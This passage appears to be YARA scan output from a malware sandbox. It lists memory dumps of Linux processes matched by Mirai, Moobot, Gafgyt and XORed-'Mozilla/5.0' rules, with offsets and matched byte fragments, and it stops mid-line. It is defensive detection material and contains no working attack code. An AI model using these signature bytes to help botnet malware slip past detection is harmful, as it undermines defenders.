6534.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7161.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7191.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7191.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7191.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7191.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7191.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7191.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6689.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6689.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6689.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6689.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6689.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6689.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6773.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6773.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6773.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6773.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6773.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6773.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6416.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6356.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7133.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6600.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6969.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6969.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6969.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6969.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6969.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6969.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7051.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7051.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7051.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7051.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7051.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7051.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6315.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6315.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6315.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6315.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6315.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 